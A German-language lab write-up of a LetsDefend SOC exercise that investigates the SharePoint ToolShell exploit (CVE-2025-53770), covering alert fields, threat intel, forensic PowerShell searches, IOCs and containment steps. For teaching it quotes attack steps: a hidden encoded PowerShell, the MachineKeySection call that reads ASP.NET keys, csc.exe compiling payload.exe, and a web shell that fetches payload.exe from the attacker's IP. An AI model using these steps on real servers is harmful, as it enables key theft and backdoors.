victormbogu1/letsdefend-soc342-cve-2025-53770-sharepoint-toolshell-auth-bypass-andrce-eventid-320Schritt-für-Schritt-Durchlauf eines LetsDefend SOC342-Labors, das CVE-2025-53770 SharePoint ToolShell Auth Bypass und RCE analysiert, einschließlich Angriffskette, forensischer Analyse und Eindämmungsmaßnahmen.
Ich habe eine SharePoint-Zero-Day-Schwachstelle namens ToolShell (CVE-2025-53770) im LetsDefend Cyber-Labor untersucht.
Die Übung simulierte einen realen Zero-Day-RCE-Angriff, bei dem eine bösartige POST-Anfrage die Authentifizierung umging, PowerShell ausführte, um MachineKeySection-Schlüssel zu stehlen, payload.exe kompilierte und eine schädliche Web-Shell (spinstall0.aspx) ablegte.
Dieses README dokumentiert den Angriffsprozess, die forensischen Schritte, die Eindämmungsmaßnahmen und die gewonnenen Erkenntnisse.
| Feld | Details |
|---|
| Plattform | LetsDefend Cyber Range |
| Ziel | SharePoint Server (SharePoint01) |
| CVE | CVE-2025-53770 |
| Zielsetzung | RCE analysieren, Erkennung & Eindämmung üben |
| Verwendete Tools | Windows PowerShell, VirusTotal, AbuseIPDB, Talosintelligence, LetsDefend Log Management, LetsDefend Endpoint Security, Base64-Dekoder, LetsDefend Threat Intel |
Ein kritischer Alarm meldete verdächtige Aktivitäten, die auf ToolPane.aspx in SharePoint mit einer großen Payload und gefälschtem Referer abzielten.
Dies korreliert mit CVE-2025-53770, einer Zero-Day-Schwachstelle, die nicht authentifiziertes RCE über präparierte POST-Anfragen ermöglicht.
Was es ist: Der diesem Alarm zugewiesene Schweregrad — höchste und dringendste Stufe.
Warum es wichtig ist: Zeigt an, dass dieses Ereignis zu einer vollständigen Systemkompromittierung (RCE) führen könnte. Als höchste Priorität behandeln: sofort isolieren und untersuchen.
Was es ist: Der Zeitstempel, zu dem der Alarm ausgelöst wurde.
Warum es wichtig ist: Verwenden Sie ihn, um Protokolle zu lokalisieren, zusammenhängende Ereignisse zu korrelieren und eine Zeitleiste zu erstellen (einige Minuten oder Stunden davor/danach suchen).
Was es ist: Die Erkennungsregel oder Signatur, die ausgelöst hat, und die erfüllte Bedingung beschreibt (ToolShell-Exploit-Versuch).
Warum es wichtig ist: Identifiziert, welches Angriffsmuster erkannt wurde — nützlich für die Suche nach ähnlichen Fällen (z. B. nicht authentifizierte POSTs an Admin-Seiten oder mögliche Web-Shell-Uploads).
Was es ist: Numerischer Bezeichner für diese spezifische Alarminstanz oder Regel (herstellerdefiniert).
Warum es wichtig ist: Hilft bei der Verfolgung, Filterung und Referenzierung dieses Alarms in Tickets oder Berichten.
Was es ist: Klassifizierung auf hoher Ebene — dieser Alarm zielt auf die Web-Infrastruktur ab.
Warum es wichtig ist: Leitet den Vorfall an das Web-/SharePoint-/Infrastruktur-Team weiter und wendet webspezifische Playbooks an.
Was es ist: Analystenrolle oder Eskalationsstufe, die zur Bearbeitung des Alarms erwartet wird.
Warum es wichtig ist: Zeigt an, dass dies kein Tier-1-Alarm ist — erfordert einen Security Analyst (erfahrenen Responder) für sofortige Maßnahmen.
Was es ist: Name des betroffenen Hosts (Ziel oder Ursprung der Aktivität).
Warum es wichtig ist: Dies ist das primäre Eindämmungsziel — dieses System zuerst isolieren, Beweise sichern und überwachen.
Was es ist: Die IP, die die verdächtige Anfrage gesendet hat (Angreifer oder Proxy).
Warum es wichtig ist: Blockieren Sie sie an der Firewall/dem WAF, suchen Sie nach weiteren Treffern von dieser IP und prüfen Sie Besitz-/Geoinformationen. Hinweis: IPs können gefälscht sein oder zu Botnetzen gehören.
Was es ist: Die interne Ziel-IP (SharePoint01).
Warum es wichtig ist: Bestätigt, welches interne System angegriffen wurde — dem Hostnamen zuordnen und interne Zugriffspfade/Firewall-Regeln überprüfen.
Was es ist: Das verwendete HTTP-Verb — der Client hat Daten an den Server gesendet.
Warum es wichtig ist: POSTs an Admin-Endpunkte sind verdächtig, wenn sie nicht authentifiziert sind oder groß sind — sie können Exploit-Payloads oder Web-Shells enthalten.
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Was es ist: Der exakt anvisierte Web-Pfad und die Parameter.
Warum es wichtig ist: Dies ist ein SharePoint-Admin-/Layout-Endpunkt — häufig von Angreifern für Auth-Bypass oder Code-Uploads missbraucht. Suchen Sie nach anderen Anfragen an denselben Pfad.
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Was es ist: Die vom Client gemeldete Browser-Zeichenkette.
Warum es wichtig ist: Wird von Angreifern oft gefälscht, um legitim zu wirken — kann beim Filtern von Protokollen helfen, aber verlassen Sie sich nicht darauf für die Zuordnung.
/_layouts/SignOut.aspx
Was es ist: HTTP-Header, der angibt, dass die Anfrage von der Abmelde-Seite von SharePoint stammt.
Warum es wichtig ist: Gefälschte Referer sind verdächtig — können verwendet werden, um Prüfungen zu umgehen oder normalen Datenverkehr nachzuahmen. Vergleichen Sie sie mit legitimen Navigationsabläufen.
7699Was es ist: Größe des HTTP-Anfragekörpers (in Bytes).
Warum es wichtig ist: Ein großer POST-Körper an einen Admin-Endpunkt deutet auf einen serialisierten Exploit oder Datei-Upload hin. Suchen Sie nach anderen POSTs ähnlicher Größe an dieselbe URL.
Text: Verdächtige, nicht authentifizierte POST-Anfrage, die auf ToolPane.aspx mit großer Payload und gefälschtem Referer abzielt — weist auf die Ausnutzung von CVE-2025-53770 hin.
Was es ist: Regelerklärung, die das übereinstimmende Verhalten zusammenfasst.
Warum es wichtig ist: Beschreibt genau, warum der Alarm ausgelöst hat — überprüfen Sie, ob die Anfrage nicht authentifiziert war, welche Payload gesendet wurde und ob sie bekannten Exploit-Mustern entspricht.
Was es ist: Zeigt die Reaktion des Schutzgeräts an (z. B. WAF/Firewall).
Warum es wichtig ist: Da die Anfrage erlaubt wurde, hat der Angriff den Host erreicht — als potenzielle Kompromittierung behandeln.
Sofortmaßnahmen:
107.191.58.76)SharePoint01)🔎 Zusammenfassung:
Dieser Alarm spiegelt einen nicht authentifizierten Exploit-Versuch wider, der ToolPane.aspx (SharePoint-RCE CVE-2025-53770) ausnutzt. Die POST-Anfrage enthielt eine große Payload und einen gefälschten Referer, was mit dem ToolShell-Zero-Day-Exploit-Verhalten übereinstimmt. Da das Gerät die Anfrage erlaubt hat, ist von einer möglichen Kompromittierung auszugehen, bis das Gegenteil bewiesen ist. 🟥 Schweregrad: Kritisch
Suchen Sie in IIS/WAF nach POST-Anfragen an ToolPane.aspx (um 2025-07-22 13:07):
Select-String -Path "C:\inetpub\logs\LogFiles\**\*.log" -Pattern "/_layouts/15/ToolPane.aspx" | Out-File .\IIS_ToolPane_hits.txt
Ziehen Sie den vollständigen POST-Körper aus WAF/Proxy oder Paketaufzeichnung und speichern Sie ihn im forensischen Share.
Suchen Sie nach neuen/geänderten ASPX-Dateien im Webroot (Web-Shells):
Get-ChildItem "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\**\*.aspx" -Recurse | Sort LastWriteTime -Desc | Select FullName,LastWriteTime
Blockieren Sie den Angreifer und isolieren Sie den Host: Blockieren Sie 107.191.58.76 an der Perimeter-Firewall/dem WAF und verschieben Sie SharePoint01 in Quarantäne (oder schränken Sie ausgehenden Datenverkehr ein).
Löschen Sie mutmaßliche Dateien nicht — erstellen Sie zuerst forensische Kopien.
Microsoft SharePoint ist eine Plattform für Zusammenarbeit und Dokumentenverwaltung.
Sie bietet sichere Dateispeicherung, Versionskontrolle und Intranet-Portale, integriert mit Active Directory, Teams, Outlook und Power BI.
Eine kritische, nicht authentifizierte RCE-Schwachstelle in Microsoft SharePoint Server, die unsichere Deserialisierung ausnutzt.
Angreifer verwenden sie, um:
🧮 CVSS-Score: 9.8 (Kritisch)
📡 Ausnutzung: Aktiv in freier Wildbahn
Quell-IP: 107.191.58.76
🧩 Ergebnis: 15/95 Sicherheitsanbieter haben sie als bösartig eingestuft.
Über AbuseIPDB geprüft — IP steht in Verbindung mit:
Über Talos Intelligence geprüft — IP-/Subnetz-Merkmale:
*.vultrusercontent.com
Host SharePoint01 in Endpoint Security gefunden.
Terminal-Verlauf auf verdächtige Befehle untersucht.
Dieses Protokoll zeigt, dass um 13:07:11 ein PowerShell-Prozess unter dem SharePoint-Anwendungspool lief und einen Base64-kodierten Befehl ausführte. Der übergeordnete Prozess war services.exe, und der Angriff zielte auf SharePoint-Verzeichnisse ab. Dies ist ein klarer Indikator für ToolShell-Ausnutzung und Remote-Codeausführung innerhalb des SharePoint-Servers.
-nop = -NoProfile: PowerShell ohne Laden des Benutzerprofils starten (vermeidet profilbasierte Erkennung, läuft schneller).-w hidden = -WindowStyle Hidden: ohne Anzeigen eines Fensters ausführen (verdeckt).-e = -EncodedCommand: Die folgende Zeichenkette ist Base64-kodierter PowerShell-Inhalt (normalerweise UTF-16LE oder manchmal UTF-8) — wird verwendet, um Code vor beiläufiger Betrachtung und einfachen Protokollen zu verbergen.<BASE64>: Lange Base64-Payload — dekodiert enthält sie ein ASPX-Serverskript (sieht aus wie eine Web-Shell), das die MachineKey-Werte liest.
⚙️ Verhaltenszusammenfassung
Dies deutet auf MachineKey-Diebstahl zur Fälschung von ViewState-/Auth-Tokens hin — klassische ToolShell-Ausnutzung.
🧩 Erkenntnis: Der Angreifer kompilierte payload.cs mit dem integrierten .NET-Compiler zu payload.exe → wahrscheinlich Schadsoftware.
Was dies wörtlich tut (Schritt für Schritt):
csc.exe aus → den C#-Compiler, der mit dem .NET Framework geliefert wird./out:C:\Windows\Temp\payload.exe → teilt dem Compiler mit, wo das kompilierte Programm gespeichert werden soll und wie es heißen soll (payload.exe).C:\Windows\Temp\payload.cs → die C#-Quelldatei (menschenlesbarer Code), die der Compiler in ein ausführbares Programm umwandelt.Warum dies gefährlich ist (Erklärung für Anfänger):
.cs) auf dem Opferrechner in eine ausführbare Datei (.exe) umgewandelt.payload.exe) kann alle Aktionen ausführen, die der Angreifer programmiert hat: Netzwerkverbindungen öffnen, Shells starten, Persistenz installieren oder Daten stehlen.Wie der Angreifer es wahrscheinlich in der Angriffskette verwendet hat:
payload.cs hoch.payload.exe, damit es als natives Programm auf dem Server laufen konnte.Zu suchende Beweise (was in Protokollen/Dateien gesucht werden sollte):
csc.exe mit Argumenten, die auf payload.cs oder /out:C:\Windows\Temp\payload.exe verweisen.C:\Windows\Temp\payload.cs und C:\Windows\Temp\payload.exe (forensische Kopien sichern und Hashes berechnen).w3wp.exe / powershell.exe / cmd.exe csc.exe starten.payload.exe ausgeht, falls es ausgeführt wurde.Einzeiler-Zusammenfassung (für README / Ticket):
Der Angreifer verwendete den .NET-C#-Compiler (csc.exe), um payload.cs auf dem Host zu payload.exe zu kompilieren — Erstellung einer nativen ausführbaren Datei für nachfolgende schädliche Aktivitäten.
🧩 Erkenntnis: spinstall0.aspx im LAYOUTS-Verzeichnis von SharePoint erstellt → webzugängliche Hintertür.
Was dies wörtlich tut (Schritt für Schritt, in einfachem Deutsch):
cmd.exe /c aus → startet die Windows-Befehlsshell, um einen einzelnen Befehl auszuführen und dann zu beenden.echo <...> > "...\spinstall0.aspx" → gibt den bereitgestellten HTML/ASPX-Text aus und schreibt ihn in die Datei spinstall0.aspx (der >-Operator erstellt oder überschreibt die Datei).runat="server" → macht die Datei zu serverseitigem ASPX, sodass IIS/SharePoint sie innerhalb des Webanwendungsprozesses ausführt, anstatt sie als statischen Text auszuliefern.<object>-Element enthält Url="http://107.191.58.76/payload.exe" → weist die Seite (oder den Server bei Ausführung) an, die payload.exe des Angreifers vom Remote-Host abzurufen.Warum dies gefährlich ist (Erklärung für Anfänger):
Wie der Angreifer es wahrscheinlich in der Angriffskette verwendet hat:
spinstall0.aspx in den LAYOUTS-Ordner von SharePoint.payload.exe vom Host des Angreifers abruft.Zu suchende Beweise (was in Protokollen/Dateien gesucht werden sollte):
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx — forensische Kopie sichern und SHA256 berechnen.cmd.exe in diesen Pfad schreibt.spinstall0.aspx oder ausgehenden Anfragen an http://107.191.58.76/payload.exe.spinstall0.aspx (weist auf Payload-Download/-Ausführung hin).Einzeiler-Zusammenfassung (für README / Ticket):
Der Angreifer erstellte eine serverseitige ASPX-Web-Shell (spinstall0.aspx) im LAYOUTS-Ordner von SharePoint, die den Server anweist, payload.exe von der Angreifer-Infrastruktur abzurufen/auszuführen — persistente Remote-Hintertür.
🧩 Erkenntnis: PowerShell ausgeführt, um die MachineKey-Konfiguration zu lesen und zu exfiltrieren — direkte RCE-Vorbedingung.
Was dies wörtlich tut (Schritt für Schritt):
powershell.exe aus → die Windows-Skript-Shell.-Command weist PowerShell an, den folgenden Ausdruck auszuführen.[System.Web.Configuration.MachineKeySection]::GetApplicationConfig() ruft über .NET das ASP.NET-machineKey-Konfigurationsobjekt ab (enthält ValidationKey, DecryptionKey und zugehörige Einstellungen).Warum dies gefährlich ist (Erklärung für Anfänger):
machineKey enthält Geheimnisse, die ASP.NET verwendet, um:
ViewState und Formular-Auth-Cookies zu signieren und zu validieren.ValidationKey/DecryptionKey erlangt, kann er:
ViewState- oder Auth-Cookies fälschen oder Token entschlüsseln.Wie der Angreifer es wahrscheinlich in der Angriffskette verwendet hat:
ToolPane.aspx ausnutzen, um Code im SharePoint-App-Prozess auszuführen.ValidationKey / DecryptionKey erfassen.ViewState) oder gültige Auth-Cookies zur Zugriffsausweitung zu erstellen.Zu suchende Beweise (was in Protokollen/Dateien gesucht werden sollte):
powershell.exe mit GetApplicationConfig oder MachineKeySection in der Befehlszeile zeigen.ValidationKey / DecryptionKey).MachineKeySection / GetApplicationConfig aufrufen.IIS APPPOOL\SharePoint) zu denselben Zeitstempeln.Einzeiler-Zusammenfassung (für README / Ticket):
Der Angreifer führte PowerShell aus, um System.Web.Configuration.MachineKeySection::GetApplicationConfig() aufzurufen — Versuch, den ASP.NET-machineKey (ValidationKey/DecryptionKey) zu exfiltrieren, was Token-Fälschung und Authentifizierungsumgehung ermöglicht.
Quelle: LetsDefend Threat Intel (abgefragt über IP 107.191.58.76)
Referer: /_layouts/SignOut.aspx beobachtet.
| Typ | Indikator | Beschreibung |
|---|---|---|
| IP | 107.191.58.76 | Quell-IP des Angreifers, die Exploit-POST sendet |
| URL | /_layouts/15/ToolPane.aspx?DisplayMode=Edit | Exploit-Endpunkt |
| Datei | spinstall0.aspx | Bereitgestellte schädliche ASPX-Webshell |
| String | MachineKeySection | Nachweis eines machineKey-Exfiltrationsversuchs |
VictorAusnutzung der ToolShell-Zero-Day-Schwachstelle (CVE‑2025‑53770) gegen lokales SharePoint (SharePoint01) erkannt. Der Angreifer (IP 107.191.58.76) umging die Authentifizierung und führte mehrere Post-Exploit-Aktionen aus:
spinstall0.aspx (Webshell) in das LAYOUTS-Verzeichnis von SharePoint hoch.payload.exe lokal mit dem .NET-C#-Compiler.
Fazit: Kompromittierung bestätigt — Webshell-Bereitstellung, Schlüssel-Exfiltration und Payload-Kompilierung auf dem Host.
SharePoint01 isolieren (Quarantäne-VLAN) oder Angreifer-IPs an Perimeter/WAF/Firewall blockieren.spinstall*.aspx, payload.exe (nach Dateiname/Hash) sowie nach Nutzung von GetApplicationConfig/MachineKeySection durchsuchen.spinstall0.aspx, nicht autorisierte geplante Aufgaben/Dienste und jegliche erkannte Malware entfernen (nach Sicherung forensischer Kopien).machineKey-Werte rotieren (mit den Anwendungsbesitzern abstimmen) und die Microsoft-Notfall-Patches vom Juli 2025 auf alle lokalen SharePoint-Instanzen anwenden.-EncodedCommand / -e) auf Webservern hinzufügen.csc.exe-Nutzung einrichten, die Code in C:\Windows\Temp auf Web-Hosts kompiliert.POST-Anfragen an ToolPane.aspx über WAF-Regeln blockieren.csc.exe, cmd.exe, powershell.exe) werden nach Exploits häufig missbraucht; überwachen Sie unerwartete Nutzung auf Webservern.SharePoint01 unter Quarantäne stellen und 107.191.58.76 blockieren.spinstall0.aspx, payload.cs und payload.exe sichern (Zeitstempel erhalten).w3wp.exe / payload.exe zur Analyse erstellen.machineKey und betroffene Anmeldedaten nach der Beweissicherung rotieren.